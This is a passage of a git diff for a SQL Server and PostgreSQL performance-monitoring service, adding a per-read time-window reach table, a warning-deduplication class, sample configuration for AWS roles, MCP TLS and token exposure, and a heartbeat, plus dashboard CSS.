+        && (RowStatuses.Contains(status) || (RowStatusByRead.TryGetValue(tool, out var own) && string.Equals(own, status, StringComparison.Ordinal)));
+
+    /* Whether the answer's status word is this read's own "looked and found nothing" one (NothingFoundStatusByRead). */
+    private static bool IsNothingFoundStatus(string tool, JsonObject payload) =>
+        NothingFoundStatusByRead.TryGetValue(tool, out var expected)
+        && payload["status"] is JsonValue word
+        && word.TryGetValue<string>(out var status)
+        && string.Equals(status, expected, StringComparison.Ordinal);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/WebReadReach.cs b/Darling/PerformanceMonitor.Darling.Service/WebReadReach.cs
new file mode 100644
index 0000000000..2874f60121
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/WebReadReach.cs
@@ -0,0 +1,244 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>What a windowed web / MCP read returns, which decides how far back it may ever be asked to reach (#5562).</summary>
+internal enum ReadShape
+{
+    /// <summary>Points grouped into time buckets (<c>bucket_minutes</c>): the payload is bounded by the bucket budget,
+    /// not by the window, so it is the only shape allowed past <see cref="McpHelpers.MaxHoursBack"/>.</summary>
+    BucketedTrend,
+
+    /// <summary>A list or a ranking (top-N, newest-first rows, an unbucketed series): its payload grows with the window,
+    /// so it stays at <see cref="McpHelpers.MaxHoursBack"/>.</summary>
+    List,
+
+    /// <summary>The latest snapshot: the window is only a freshness bound, so a longer range means nothing here.</summary>
+    LatestSnapshot,
+}
+
+/// <summary>
+/// One windowed read's reach: its <see cref="Shape"/>, the longest window it accepts (<see cref="MaxHours"/>, the number
+/// the read's own validator enforces) and the collector whose cadence decides how many samples a short window holds.
+/// </summary>
+/// <param name="Shape">What the read returns.</param>
+/// <param name="MaxHours">The longest <c>hours</c> the read accepts; the web picker greys out anything longer.</param>
+/// <param name="Collector">The main collector id (a <see cref="CollectorScheduleDefaults"/> key), or null for a read
+/// that no collector feeds (analysis, alert history, the store's own self-monitoring).</param>
+internal sealed record ReadReach(ReadShape Shape, int MaxHours, string? Collector);
+
+/// <summary>
+/// The ONE table of how far back each windowed web read reaches and which collector feeds it (#5562, rulings R2 and R3).
+///
+/// <para><b>Why a table.</b> The picker on the server page offers presets from five minutes to a quarter, and it must
+/// grey out a period a tab cannot read, with the reason. The answer cannot live in the page: the read's validator is the
+/// authority, and a page that guessed would offer a window the read then refuses. So the validator of every read that
+/// reaches past a week takes its ceiling from here (<see cref="MaxHoursFor"/>), the catalog serves the same number as
+/// <c>max_hours</c> on the read's <c>hours</c> parameter, and a census (<c>WebReadReachTests</c>) fails when a windowed
+/// read is added without a row, so a new read cannot ship with no declared reach.</para>
+///
+/// <para><b>What reaches past seven days.</b> Only a BUCKETED trend read that routes through the hourly rollup the
+/// Custom Views way (<c>RetentionTierRouter</c>, <c>DurationTrendRouting</c>, <c>QueryStoreTrendRouting</c>): the
+/// query, procedure and Query Store duration trends, at <see cref="RollupTrendHours"/> (90 days, what the rollups
+/// keep). Their payload is whole-hour points, so 90 days is at most 2,160 of them. Lists and rankings stay at
+/// <see cref="McpHelpers.MaxHoursBack"/> even where they route through a rollup (a top-N over 90 days is a different
+/// payload, and the MCP ceiling rises for bucketed trends only); query text and plans are kept for a few days only
+/// (<c>RetentionTierRouter.ClampToTextHorizon</c>), and none of the three opted-in reads carries either.
+/// The raw-table bucketed trends reach <see cref="RawTrendHours"/> (30 days, the raw tables' default retention) once a
+/// timing run on a large store measured a month under 10 seconds (#5562 L4b); a trend not yet timed, or over a table
+/// that keeps less than 30 days on EITHER store type (plain PostgreSQL, or the raw tier a TimescaleDB store drops at four days), stays at 168 hours. Raising one is a one-line change to its row here, plus its
+/// validator call, and nothing else. Alert History is the one list that reaches past a week (ruling R8): its reach is
+/// the alert table's retention, <see cref="AlertHistoryHours"/>, and the read is capped by its row limit.</para>
+/// </summary>
+internal static class WebReadReach
+{
+    /// <summary>The reach of every read that has not opted in: <see cref="McpHelpers.MaxHoursBack"/>.</summary>
+    public const int DefaultHours = McpHelpers.MaxHoursBack;
+
+    /// <summary>The rollup-routed trends' reach: 90 days, the hourly rollup's retention (and Custom Views'
+    /// <c>ComposeLimits.MaxWindowHours</c>).</summary>
+    public const int RollupTrendHours = 24 * 90;
+
+    /// <summary>The raw-table trends' reach: 30 days (#5562 L4b), what every raw collector table keeps by default.
+    /// A read over a table with a shorter retention (<c>waiting_tasks</c> keeps 7 days) stays at
+    /// <see cref="DefaultHours"/>, and a read that spans tables takes the shortest.</summary>
+    public const int RawTrendHours = 24 * DarlingRetentionHorizons.DataRetentionBaseDays;
+
+    /// <summary>Alert History's reach: the alert table's retention, 90 days (#5562 ruling R8), the longest choice the
+    /// Viewer already offers (<see cref="DarlingRetentionHorizons.AlertHistoryRetentionDays"/>).</summary>
+    public const int AlertHistoryHours = 24 * DarlingRetentionHorizons.AlertHistoryRetentionDays;
+
+    /// <summary>
+    /// A view of one read that reaches further than the read's own row (#5562 L4b): <c>get_finops</c> serves its other views
+    /// at <see cref="DefaultHours"/>, but its Storage Growth view takes up to 90 days of whole days, validated by
+    /// <see cref="Mcp.DarlingMcpFinOpsTools.MaxStorageGrowthHoursBack"/>. The catalog serves this as <c>view_max_hours</c> on the
+    /// read's <c>hours</c> param, and the page reads it from there, so the page, the catalog and the server share one number.
+    /// </summary>
+    public static readonly IReadOnlyDictionary<string, IReadOnlyDictionary<string, int>> ViewMaxHours =
+        new Dictionary<string, IReadOnlyDictionary<string, int>>(StringComparer.Ordinal)
+        {
+            ["get_finops"] = new Dictionary<string, int>(StringComparer.Ordinal)
+            {
+                ["storage_growth"] = Mcp.DarlingMcpFinOpsTools.MaxStorageGrowthHoursBack,
+            },
+        };
+
+    private static ReadReach Trend(string? collector, int maxHours = DefaultHours) => new(ReadShape.BucketedTrend, maxHours, collector);
+    private static ReadReach List(string? collector, int maxHours = DefaultHours) => new(ReadShape.List, maxHours, collector);
+    private static ReadReach Snapshot(string? collector) => new(ReadShape.LatestSnapshot, DefaultHours, collector);
+
+    /// <summary>Every windowed read (one with an <c>hours</c> parameter in the web catalog), by read name.</summary>
+    public static readonly IReadOnlyDictionary<string, ReadReach> All = new Dictionary<string, ReadReach>(StringComparer.Ordinal)
+    {
+        /* Rollup-routed bucketed trends: the only reads past 168 hours. */
+        ["get_query_duration_trend"] = Trend("query_stats", RollupTrendHours),
+        ["get_procedure_duration_trend"] = Trend("procedure_stats", RollupTrendHours),
+        ["get_query_store_duration_trend"] = Trend("query_store", RollupTrendHours),
+
+        /* Raw-table bucketed trends: 720 hours where the large-store timing run measured a month under 10 s (#5562 L4b;
+           each validator names its time). Left at 168: get_current_waits_trend (its waiting_tasks table keeps 7 days),
+           get_server_trend (6 of its 11 metrics were never timed), get_pg_wait_trend (its timing table was empty),
+           get_pg_query_duration_trend (not timed) and get_query_heatmap (raw query_stats, which a TimescaleDB
+           store drops at four days, so a month is a window the table cannot fill). get_perfmon_trend reaches 720 since #5574 re-grouped
+           the compressed perfmon_stats data by counter: the cold read at 30 days on a large store fell from 11.2 s to 1.3 s, inside the 10 s bar.
+           get_blocking_stats is uncapped on the MCP side (ValidateUncappedWindow). */
+        ["get_blocking_trend"] = Trend("blocked_process_report", RawTrendHours),
+        ["get_deadlock_trend"] = Trend("deadlocks", RawTrendHours),
+        ["get_lock_wait_trend"] = Trend("wait_stats", RawTrendHours),
+        ["get_current_waits_trend"] = Trend("waiting_tasks"),
+        ["get_blocking_stats"] = Trend("dmv_blocking_snapshot", RawTrendHours),
+        ["get_cpu_utilization"] = Trend("cpu_utilization", RawTrendHours),
+        ["get_query_heatmap"] = Trend("query_stats"),
+        ["get_tempdb_trend"] = Trend("tempdb_stats", RawTrendHours),
+        ["get_wait_trend"] = Trend("wait_stats", RawTrendHours),
+        ["get_file_io_trend"] = Trend("file_io_stats", RawTrendHours),
+        ["get_memory_trend"] = Trend("memory_stats", RawTrendHours),
+        ["get_server_trend"] = Trend(null),
+        ["get_perfmon_trend"] = Trend("perfmon_stats", RawTrendHours),
+        ["get_pg_cpu_utilization"] = Trend("pg_cpu_utilization", RawTrendHours),
+        ["get_pg_wait_trend"] = Trend("pg_wait_sampling"),
+        ["get_pg_query_duration_trend"] = Trend("pg_statement_stats"),
+        ["get_pg_io_trend"] = Trend("pg_io_stats", RawTrendHours),
+        ["get_pg_database_trend"] = Trend("pg_database_stats", RawTrendHours),
+
+        /* Lists, rankings and unbucketed series. */
+        ["get_top_queries_by_cpu"] = List("query_stats"),
+        ["get_top_procedures_by_cpu"] = List("procedure_stats"),
+        ["get_query_trend"] = List("query_stats"),
+        ["get_query_store_top"] = List("query_store"),
+        ["get_query_store_regressions"] = List("query_store"),
+        ["get_query_store_clutter"] = List("query_store"),
+        ["get_query_store_query_history"] = List("query_store"),
+        ["get_long_query_completions"] = List("long_query_completions"),
+        ["get_plan_corrections"] = List("plan_correction"),
+        ["get_blocked_process_xml"] = List("blocked_process_report"),
+        ["get_blocking"] = List("blocked_process_report"),
+        ["get_deadlocks"] = List("deadlocks"),
+        ["get_deadlock_detail"] = List("deadlocks"),
+        ["get_database_config_changes"] = List("database_config"),
+        ["get_server_config_changes"] = List("server_config"),
+        ["get_trace_flag_changes"] = List("trace_flags"),
+        ["get_collection_log"] = List(null),
+        ["get_wait_stats"] = List("wait_stats"),
+        ["get_wait_types"] = List("wait_stats"),
+        ["get_latch_stats"] = List("latch_stats"),
+        ["get_spinlock_stats"] = List("spinlock_stats"),
+        ["get_memory_pressure_events"] = List("memory_pressure_events"),
+        ["get_resource_semaphore"] = List("memory_grant_stats"),
+        ["get_plan_cache_bloat"] = List("plan_cache_stats"),
+        ["get_job_history"] = List("job_history"),
+        ["get_default_trace_events"] = List("default_trace_events"),
+        ["get_health_parser_cpu_tasks"] = List("system_health_events"),
+        ["get_health_parser_io_issues"] = List("system_health_events"),
+        ["get_health_parser_memory_broker"] = List("system_health_events"),
+        ["get_health_parser_memory_conditions"] = List("system_health_events"),
+        ["get_health_parser_memory_node_oom"] = List("system_health_events"),
+        ["get_health_parser_scheduler_issues"] = List("system_health_events"),
+        ["get_health_parser_severe_errors"] = List("system_health_events"),
+        ["get_health_parser_significant_waits"] = List("system_health_events"),
+        ["get_health_parser_system_health"] = List("system_health_events"),
+        ["get_pg_top_queries"] = List("pg_statement_stats"),
+        ["get_pg_plans"] = List("pg_plan_capture"),
+        ["get_pg_io_stats"] = List("pg_io_stats"),
+        ["get_pg_wait_stats"] = List("pg_wait_stats"),
+        ["get_pg_wait_sampling"] = List("pg_wait_sampling"),
+        ["get_pg_kernel_stats"] = List("pg_kernel_stats"),
+        ["get_pg_predicate_stats"] = List("pg_predicate_stats"),
+        ["get_pg_lock_stats"] = List("pg_lock_stats"),
+        ["get_pg_write_stats"] = List("pg_write_stats"),
+        ["get_pg_server_config_changes"] = List("pg_server_config"),
+        ["get_pg_deadlocks"] = List("pg_deadlocks"),
+        ["get_pg_log_events"] = List("pg_log_events"),
+        ["get_pg_blocking"] = List("pg_blocking"),
+        ["get_pg_database_stats"] = List("pg_database_stats"),
+        ["get_pg_session_states"] = List("pg_session_states"),
+
+        /* Latest snapshots: the window is a freshness bound. */
+        ["get_active_queries"] = Snapshot("query_snapshots"),
+        ["get_waiting_tasks"] = Snapshot("waiting_tasks"),
+        ["get_memory_grants"] = Snapshot("memory_grant_stats"),
+        ["get_cpu_scheduler_pressure"] = Snapshot("cpu_scheduler_stats"),
+        ["get_pg_plan_capture_readiness"] = Snapshot("pg_plan_capture_readiness"),
+        ["get_pg_wraparound_risk"] = Snapshot("pg_wraparound_stats"),
+        ["get_pg_xmin_horizon"] = Snapshot("pg_xmin_horizon"),
+        ["get_pg_replication_slots"] = Snapshot("pg_replication_slots"),
+        ["get_pg_replication_stats"] = Snapshot("pg_replication_stats"),
+        ["get_pg_autovacuum_health"] = Snapshot("pg_autovacuum_stats"),
+        ["get_pg_index_bloat"] = Snapshot("pg_index_bloat"),
+        ["get_pg_column_stats"] = Snapshot("pg_column_stats"),
+        ["get_pg_buffer_usage"] = Snapshot("pg_buffer_usage"),
+        ["get_pg_extensions"] = Snapshot("pg_extension_availability"),
+        ["get_pg_index_usage"] = Snapshot("pg_index_usage_stats"),
+        ["get_pg_table_bloat"] = Snapshot("pg_table_bloat_stats"),
+
+        /* No collector feeds these: analysis, alerts, fleet, and the monitoring tool's own self-monitoring. */
+        ["compare_analysis"] = List(null),
+        ["get_analysis_facts"] = List(null),
+        ["get_analysis_findings"] = List(null),
+        ["get_alert_history"] = List(null, AlertHistoryHours),
+        ["get_fleet_overview"] = List(null),
+        ["get_sweep_reports"] = List(null),
+        ["get_store_log"] = List(null),
+        ["get_store_query_history"] = List(null),
+        ["get_slow_reads"] = List(null),
+        ["get_read_latency"] = List(null),
+        ["get_finops"] = List(null),
+    };
+
+    /// <summary>
+    /// The ceiling a read's validator passes to <see cref="McpHelpers.ValidateWindow(int, string?, int, out DateTime)"/>.
+    /// Throws for a read with no row: a validator that names a read the table does not know has drifted from the table,
+    /// and failing loudly beats quietly accepting 168 for a read the picker was told reaches further.
+    /// </summary>
+    public static int MaxHoursFor(string read) =>
+        All.TryGetValue(read, out var reach)
+            ? reach.MaxHours
+            : throw new InvalidOperationException($"#5562: '{read}' has no row in WebReadReach.All.");
+
+    /// <summary>
+    /// The collector's interval in minutes: <paramref name="overrides"/> (the schedule rows the store holds, per server
+    /// when <paramref name="serverId"/> is given, else only the fleet-wide row) over the shipped default. Null for a read
+    /// no collector feeds or a collector name the defaults do not know.
+    /// </summary>
+    public static int? CollectorIntervalMinutes(string? collector, int? serverId, IReadOnlyList<ScheduleOverride> overrides)
+    {
+        if (collector is null || !CollectorScheduleDefaults.All.ContainsKey(collector))
+        {
+            return null;
+        }
+
+        return CollectorScheduleDefaults.ResolveEffectiveIntervalMinutes(collector, serverId ?? -1, overrides);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/XeSessionMissingWarnings.cs b/Darling/PerformanceMonitor.Darling.Service/XeSessionMissingWarnings.cs
new file mode 100644
index 0000000000..a2888bbb73
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/XeSessionMissingWarnings.cs
@@ -0,0 +1,41 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Concurrent;
+
+namespace PerformanceMonitor.Darling.Service;
+
+/// <summary>
+/// #4964: the collectors on one server that have already logged their missing-session line at Warning. The long-query,
+/// deadlock and blocked-process collectors raise that line on every sweep while their Extended Events session cannot be
+/// ensured, and each of those runs records SESSION_MISSING again, on purpose, so collection health keeps reading it.
+/// What this changes is the level of the line: the first failing run logs it at Warning, and the runs after it log the
+/// same line at Debug, until a run of that collector on that server succeeds.
+///
+/// <para>One instance per server (<c>ServerLoopState.XeSessionMissingWarnings</c>), keyed by collector name, so one
+/// collector's run of failures never quiets another's first one. Kept in memory: a restart warns again. The sweep's
+/// per-server body runs on a pool thread, so the map is a <see cref="ConcurrentDictionary{TKey, TValue}"/> and the
+/// first-wins <c>TryAdd</c> is what decides which of two simultaneous failures is the first.</para>
+/// </summary>
+internal sealed class XeSessionMissingWarnings
+{
+    private readonly ConcurrentDictionary<string, bool> _warned = new(StringComparer.OrdinalIgnoreCase);
+
+    /// <summary>
+    /// True when this failure is the collector's first since its last success, so the run logs its line at Warning.
+    /// False for every failure after it, which logs the same line at Debug.
+    /// </summary>
+    public bool TryMarkWarned(string collectorName) => _warned.TryAdd(collectorName, true);
+
+    /// <summary>
+    /// Ends the collector's run of failures when one of its runs succeeds, so its next failure is a first one again.
+    /// A collector that never failed has nothing to clear.
+    /// </summary>
+    public void Clear(string collectorName) => _warned.TryRemove(collectorName, out _);
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/darling.sample.json b/Darling/PerformanceMonitor.Darling.Service/darling.sample.json
index c5a8f5c969..8a52fcea7e 100644
--- a/Darling/PerformanceMonitor.Darling.Service/darling.sample.json
+++ b/Darling/PerformanceMonitor.Darling.Service/darling.sample.json
@@ -155,6 +155,15 @@
     }
   ],
 
+  // Which AWS roles the web and MCP may set for an Amazon RDS or Aurora PostgreSQL target. An entry is an
+  // IAM role ARN (matched exactly) or a 12-digit AWS account id (every role in that account, in the aws partition; write
+  // "aws-cn:123456789012" or "aws-us-gov:123456789012" for an account in the China or GovCloud partition). The service
+  // assumes a saved role only if it is listed here, or a server in the "servers" list above names it in
+  // "awsRoleArn". A role saved from the web, MCP, the desktop viewer or --add-server does not take effect
+  // until then. Empty by default. Read at start, so an edit applies on restart.
+  // Example: [ "arn:aws:iam::123456789012:role/darling-monitor", "123456789012" ]
+  "allowedAwsRoles": [],
+
   // Capture execution plans (default true). A query_stats plan is stored ONCE per distinct plan in
   // query_plan_dim, and the fact row carries only its content digest (query_plan_digest), so
   // re-collecting the same cached plan every cycle costs a hash rather than another copy of the XML
@@ -188,6 +197,25 @@
   // rendering on the same cycle. A file-only knob (not stored in the control plane): edit + restart.
   "procedureStatsPlanCycleInterval": 4,
 
+  // query_stats plan fetching. true (the default) leaves plan XML out of query_stats' main query and renders it in
+  // a second query for only the statement plans this service has not already stored; rows for plans it has stored
+  // carry the existing digest, so every reader sees the same data. On one large store the inline capture rendered
+  // 54 GB of plans an hour on the monitored servers against 1.1 GB an hour of distinct plans. false restores the
+  // inline capture (every row's plan, every run). A file-only knob: edit + restart. Only matters while
+  // capturePlans is on.
+  "queryStatsDeferredPlanFetch": true,
+
+  // procedure_stats plan fetching: "on" (the default since 3.10), "shadow" or "off". "off" renders and ships every captured
+  // module plan, as before. "shadow" does the same and also checks, run by run, whether this service's way of
+  // recognizing a module plan (its handle, cached time and a fingerprint of its statements) would have recognized
+  // the plans it just rendered; the run's collection-log note reports deferred_would_hit, deferred_false_hit (the plan's shape
+  // changed, or could not be compared) and deferred_same_shape (the bytes changed but the shape held, for example a
+  // memory grant adjusted in place; "on" treats that as a correct hit), and no stored row changes. "on" skips the render for a plan the service has already stored and renders at most
+  // 150 others per run; procedureStatsPlanCycleInterval still decides which runs may render. Move from "shadow"
+  // to "on" only after deferred_false_hit has stayed 0; deferred_same_shape does not count. An unrecognized value means "off". A file-only knob:
+  // edit + restart. Only matters while capturePlans is on; Azure SQL Database stays "off" whatever this says. Set "off" to restore the inline capture.
+  "procedureStatsDeferredPlanFetch": "on",
+
   // The alert engine (optional section). Every default mirrors Performance Monitor Lite's:
   // cpu 80% (total mode), blocking 1, deadlock 1, poison wait 500 ms, long-running query
   // 30 min, tempdb 80%, low disk 10% / 5 GB, job multiplier 3x, failed-job lookback 60 min,
@@ -338,14 +366,19 @@
   // three can run on one machine.
   //
   // OPT-IN NETWORK EXPOSURE for MCP (managed mode only) — omit "network" for the secure default
-  // (loopback-only, tokenless HTTP, today's behavior). When present with a non-loopback "listen", the
+  // (loopback-only, tokenless HTTP, today's behavior). A "token" or "encryptedToken" with no non-loopback
+  // "listen" keeps it loopback-only and gates the loopback listener on that token too: every local client
+  // presents "Authorization: Bearer <token>". When present with a non-loopback "listen", the
   // MCP host binds the LAN interface behind a REQUIRED bearer token + an in-app CIDR check, fail-closed
   // (any missing precondition — token / valid allowFrom / managed mode — keeps it loopback-only).
   // THREAT MODEL: the token gates the whole read surface AND analyze_server, which opens LIVE outbound
   // connections to your monitored SQL Servers — so this is a trusted-LAN opt-in, NEVER internet-exposed.
-  // There is deliberately NO TLS on MCP (a self-signed cert breaks real MCP clients), so the token
-  // travels cleartext on-segment: the MITM control is a TLS REVERSE PROXY in front of the endpoint
-  // (the in-app CIDR only bounds WHO can route to it, not the wire).
+  // TLS is OPT-IN via the "tls" block below (#5288) and applies to the network listener only. WITHOUT it the
+  // token travels cleartext on-segment and every exposed start warns about exactly that: the in-app CIDR only
+  // bounds WHO can route to the port, never what an on-path attacker reads off the wire. The product consumes a
+  // certificate, it does not issue one: no ACME, and no self-signed fallback. A missing, unreadable, ambiguous or
+  // EXPIRED certificate keeps MCP loopback-only rather than quietly serving the LAN over HTTP. A TLS REVERSE
+  // PROXY in front of the endpoint remains a perfectly good alternative.
   // "enabled"/"port" here are the SEED; after first start they live in the control plane and the
   // Viewer's Settings toggles them LIVE (the service starts/stops/rebinds the endpoint within
   // seconds - no restart). The "network" exposure block below stays file-defined and restart-only
@@ -358,7 +391,34 @@
     // "network": {
     //   "listen": "192.168.1.205",                     // specific bind IP preferred; "0.0.0.0" = all interfaces.
     //   "allowFrom": "192.168.1.0/24",                 // in-app RemoteIpAddress check + firewall CIDR (loopback always allowed).
-    //   "encryptedToken": "<output of --encrypt-password>"  // REQUIRED to expose; or a plaintext "token" (dev only, warned).
+    //                                                  // One CIDR, or several separated by commas: "10.8.0.0/16,192.168.1.0/24".
+    //                                                  // Every entry in CIDR form (/32 for one address) and of the listen address
+    //                                                  // family (a "::" listen takes IPv6 entries only). One bad entry keeps MCP
+    //                                                  // loopback-only. A JSON array also loads, but only on this version or later:
+    //                                                  // an older service refuses to start on one, so prefer the comma string.
+    //   "encryptedToken": "<output of --encrypt-password>",  // REQUIRED to expose; or a plaintext "token" (dev only, warned).
+    //
+    //   // OPTIONAL: the one DNS name clients use to reach MCP (no scheme, port or wildcard). The anti-DNS-rebind
+    //   // Host guard admits "listen", localhost, this name and loopback addresses (and any IP address when listen
+    //   // is 0.0.0.0 or ::), and no other name. The name is admitted only while MCP is exposed. Set it to the
+    //   // name on the certificate below, so a client that connects by name is not answered with a 400.
+    //   "hostName": "darling.example.com",
+    //
+    //   // OPTIONAL TLS (#5288) -- omit the whole block for plain HTTP. Give ONE form, never both. It is the MCP
+    //   // twin of web.network.tls below and takes the same settings. The certificate must name the address or
+    //   // the hostName clients actually use; issue it from your internal CA. Renew it: an EXPIRED certificate
+    //   // keeps MCP loopback-only (by design -- it will not fall back to HTTP), the service logs a warning for
+    //   // the last 30 days before that, and the "MCP TLS Certificate Expiring" self-alert fires too.
+    //   // With a specific "listen" the network listener is HTTPS and the two loopback listeners stay plain HTTP;
+    //   // with "0.0.0.0" or "::" the one listener is HTTPS for everyone, loopback included.
+    //   "tls": {
+    //     "pfxPath": "C:\\ProgramData\\PerformanceMonitorDarling\\certs\\mcp.pfx",
+    //     "encryptedPfxPassword": "<output of --encrypt-password>"  // or "pfxPassword" (file:/env: reference, or plaintext for dev)
+    //                                                               // omit both if the bundle has no password
+    //     // ... OR a PEM pair instead of the two lines above:
+    //     // "certPath": "C:\\ProgramData\\PerformanceMonitorDarling\\certs\\mcp.crt",
+    //     // "keyPath":  "C:\\ProgramData\\PerformanceMonitorDarling\\certs\\mcp.key"
+    //   }
     // }
   },
 
@@ -375,7 +435,8 @@
   // ?token=, which is exchanged for an HMAC-signed session cookie (then the token is stripped from the URL).
   // LOOPBACK is exempt from the CIDR check ONLY -- while exposed it presents the token like anyone else
   // (#1649: the Custom Views composer is a write path, so a tokenless local process could mutate views).
-  // A dashboard with NO "network" block registers no auth middleware at all and stays tokenless.
+  // A dashboard with NO token configured registers no auth middleware at all and stays tokenless. A "token" or
+  // "encryptedToken" with no non-loopback "listen" keeps it loopback-only and puts the same token gate on it.
   // Fail-closed: any missing precondition (token / valid allowFrom / managed mode) keeps it loopback-only.
   // TLS is OPT-IN via the "tls" block (#2562) and applies to the network listener only -- loopback stays
   // plain HTTP, because the certificate names the LAN address rather than "localhost". WITHOUT it the token
@@ -385,7 +446,7 @@
   // buy encryption without authentication and train you to click through the warning). An internal CA is the
   // normal answer here. A missing, unreadable, ambiguous or EXPIRED certificate keeps the dashboard
   // loopback-only rather than quietly serving the LAN over HTTP. A TLS reverse proxy in front of the port
-  // remains a perfectly good alternative -- it is what MCP still relies on. NEVER internet-exposed either way.
+  // remains a perfectly good alternative. MCP has its own "tls" block (see "mcp" above). NEVER internet-exposed either way.
   // "enabled"/"port" here are the SEED; after first start they live in the control plane and the Viewer's
   // Settings toggles them LIVE (the service starts/stops/rebinds the endpoint within seconds - no restart).
   // The "network" exposure block below stays file-defined and restart-only; the Viewer toggle still stops an
@@ -418,6 +479,7 @@
     // "network": {
     //   "listen": "192.168.1.205",                     // specific bind IP preferred; "0.0.0.0" = all interfaces.
     //   "allowFrom": "192.168.1.0/24",                 // in-app RemoteIpAddress check + firewall CIDR (loopback always allowed).
+    //                                                  // One CIDR, or several separated by commas, exactly as for mcp.network.allowFrom.
     //   "encryptedToken": "<output of --encrypt-password>",  // REQUIRED to expose; or a plaintext "token" (dev only, warned).
     //
     //   // OPTIONAL TLS (#2562) -- omit the whole block for plain HTTP. Give ONE form, never both.
@@ -520,5 +582,19 @@
     "storeName": "",
     "thisStoreCovers": "",
     "stores": []
+  },
+
+  // Outbound heartbeat (#5450): a GET to a dead-man's-switch URL (Healthchecks.io, Uptime Kuma and the like) every
+  // intervalSeconds (60 to 3600, default 300) WHILE the service is collecting. It skips the ping when no enabled server
+  // has collected in the last 15 minutes or the store cannot be read, so the outside check alerts both when the process
+  // stops and when it runs but no longer collects. Off unless "url" is set. The WHOLE URL is a secret (it carries the
+  // check's token): lead with a "file:/path" reference to a file only the service account can read, or an "env:NAME"
+  // reference (on Windows a service's environment is readable by other local users, so prefer the file). Both are the
+  // same reference forms the other secrets take. A URL typed here is plaintext in this file. It is never logged, and
+  // it may not carry a user name and password. An http:// URL works but logs a warning. File-only: the web Admin and
+  // MCP cannot edit it.
+  "heartbeat": {
+    "url": "",
+    "intervalSeconds": 300
   }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css b/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css
index 7d5241088b..35886ef7f8 100644
--- a/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/css/app.css
@@ -68,6 +68,9 @@ a:hover { text-decoration: underline; }
 }
 .auto-refresh-toggle:hover { color: var(--fg); border-color: var(--accent); }
 .auto-refresh-toggle[aria-pressed="true"] { color: var(--accent); border-color: var(--accent); }
+.page-refresh-control { margin-top: 0.6rem; flex-wrap: wrap; }
+.page-refresh-control .auto-refresh-toggle { margin-top: 0; }
+.page-refresh-control[hidden] { display: none; }
 
 .refresh-control { display: inline-flex; align-items: center; gap: 0.4rem; font-size: 0.82rem; color: var(--muted); }
 .refresh-control .refresh-select { font-size: 0.82rem; }
@@ -102,6 +105,46 @@ a:hover { text-decoration: underline; }
 }
 .server-item .name { flex: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
 
+/* #5243: the sidebar's search box + group-by-tag toggle, and its collapsible tag-group headers. */
+.server-search { padding: 0.25rem 1.25rem 0.4rem; display: flex; flex-direction: column; gap: 0.35rem; }
+.sidebar-search-input { width: 100%; box-sizing: border-box; }
+.sidebar-group-control { font-size: 0.78rem; }
+.sidebar-group-header {
+  display: flex;
+  align-items: center;
+  gap: 0.35rem;
+  padding: 0.35rem 1.25rem 0.35rem 0.75rem;
+  cursor: pointer;
+  user-select: none;
+  color: var(--muted);
+  font-size: 0.78rem;
+  font-weight: 600;
+}
+.sidebar-group-header:hover { background: var(--lighter); }
+.sidebar-group-header:focus-visible { outline: 2px solid var(--muted); outline-offset: -2px; }
+.sidebar-group-chevron { width: 0.9rem; flex: 0 0 auto; font-size: 0.7rem; }
+.sidebar-group-name { flex: 1; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
+.sidebar-group-count { font-weight: 400; }
+.sidebar-no-match { padding: 0.5rem 1.25rem; }
+
+/* Per-browser viewer conveniences (#4843): the favourite star, the acknowledgeable alert-count badge, the
+   collapsible sidebar and the severity-colour settings. --sev-* are set from localStorage as #rrggbb only. */
+.fav-star { background: none; border: 0; padding: 0 2px; color: var(--muted); cursor: pointer; font-size: 1rem; line-height: 1; }
+.fav-star.on { color: var(--warn); }
+.alert-badge {
+  border: 0; border-radius: 8px; padding: 0 6px; min-width: 16px; height: 16px; font-size: 0.7rem; font-weight: 700;
+  cursor: pointer; color: var(--bg-dark);
+}
+.alert-badge.warn { background: var(--sev-warning, var(--warn)); }
+.alert-badge.crit { background: var(--sev-critical, var(--err)); }
+.sidebar-collapse { float: right; background: none; border: 1px solid var(--border); color: var(--dim); border-radius: var(--radius-sm); cursor: pointer; }
+#app.sidebar-collapsed #sidebar { width: 2.5rem; flex-basis: 2.5rem; overflow: hidden; }
+#app.sidebar-collapsed #sidebar > :not(.brand),
+#app.sidebar-collapsed #sidebar .brand > :not(.sidebar-collapse) { display: none; }
+.viewer-settings { padding: 0.5rem 1.25rem; font-size: 0.8rem; color: var(--dim); }
+.sev-color-row { display: flex; justify-content: space-between; align-items: center; margin: 4px 0; text-transform: capitalize; }
+.sev-color-reset { margin-top: 6px; }
+
 #main {
   flex: 1;
   min-width: 0;
@@ -121,6 +164,8 @@ a:hover { text-decoration: underline; }
 .page-head h2 { margin: 0; font-size: 1.35rem; }
 .page-head .meta { color: var(--muted); font-size: 0.82rem; }
 .page-head .spacer { flex: 1; }
+.agent-line { margin: 0 0 0.6rem; font-size: 0.9rem; color: var(--muted); }
+.agent-line.agent-stopped { color: var(--err); font-weight: 600; }
 
 .refresh-note { color: var(--muted); font-size: 0.75rem; }
 
@@ -226,6 +271,16 @@ a:hover { text-decoration: underline; }
 .range-select { display: inline-flex; align-items: center; gap: 0.4rem; flex-wrap: wrap; }
